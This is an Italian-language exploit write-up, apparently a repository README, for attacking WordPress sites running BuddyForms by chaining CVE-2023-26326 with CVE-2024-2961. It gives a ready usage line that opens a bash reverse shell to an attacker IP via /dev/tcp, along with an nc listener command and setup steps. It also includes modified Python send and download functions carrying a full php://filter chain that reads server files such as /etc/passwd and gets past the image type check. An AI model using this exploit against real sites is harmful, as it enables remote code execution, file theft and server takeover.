
usage: python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
Inizialmente, CVE-2023–26326 richiedeva catene di gadget per essere sfruttata come vulnerabilità di deserializzazione. Questo metodo non è più fattibile sui siti WordPress più recenti che eseguono PHP 8+; tuttavia, combinandolo con CVE-2024-2961](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1), l'exploit diventa possibile tramite php://filter invece di phar://.
L'exploit è stato creato modificando lo script cnext-exploit.py, incorporando le modifiche necessarie per CVE-2023-26326, come descritto in Descrizione delle modifiche.
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT> per catturare la reverse shell:nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
screenshot dell'esecuzione dell'exploit
screenshot della cattura della reverse shell
L'idea principale alla base dell'exploit CVE-2024-2961 è stata mantenuta, ma sono state necessarie modifiche per adattarlo all'invio della catena di filtri al sito web e al download dei file dal server.
Nell'exploit originale, la funzione send viene utilizzata per inviare un percorso al server:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
Per WordPress con BuddyForms, l'interazione avviene di default tramite una richiesta POST a /wp-admin/admin-ajax.php, dove il corpo della richiesta contiene action=upload_image_from_url&url=<INJECT_POINT>&id=1&accepted_files=image/gif. Il parametro URL funge da punto di iniezione per inviare la catena di filtri al server. Questo ha portato alla seguente modifica della funzione send:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
L'exploit originale aveva una funzione download responsabile del download dei file dal server. La seguente versione della funzione download viene utilizzata nell'exploit originale:
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
Per adattare questo a BuddyForms, analizziamo la funzione buddyforms_upload_image_from_url, che gestisce il caricamento di immagini da un URL. Questa utilizza file_get_contents, controlla il tipo di file con getimagesize() e poi salva il contenuto nella directory wp-content/uploads. Questo ci consente di sfruttare php://filter per leggere file locali e salvarli nella directory uploads, rendendoli accessibili tramite URL. Tuttavia, dobbiamo bypassare il controllo sul tipo di file anteponendo GIF89a al contenuto del file per simularlo come GIF. Questo può essere fatto usando il concatenamento di filtri, e lo strumento wrapwrap può generare la catena necessaria:
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000
genera la catena di filtri con wrapwrap
Questa catena di filtri generata dovrebbe sostituire la codifica base64 utilizzata nello script originale. Inoltre, il formato per estrarre il percorso del file caricato dalla risposta deve essere aggiornato per adattarsi al formato JSON, che include l'attributo "response" impostato sul percorso del file.
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
Nota che il prefisso GIF89a deve essere rimosso prima di utilizzare il contenuto del file nell'exploit, ottenendo così la seguente funzione download modificata:
def download(self, path: str) -> bytes:
# Append prefix "GIF89a" to bypass file type check with getimagesize()
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Unable to download files, error message: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# Remove the prefix "GIF89a"
return self.session.get(file_path).content[6:]
libc.so.6Si noti che il download del file libc.so.6 dal server potrebbe non funzionare correttamente con le catene di filtri, poiché il binario viene modificato durante il processo. Invece, il file corretto deve essere fornito nella directory principale dell'exploit.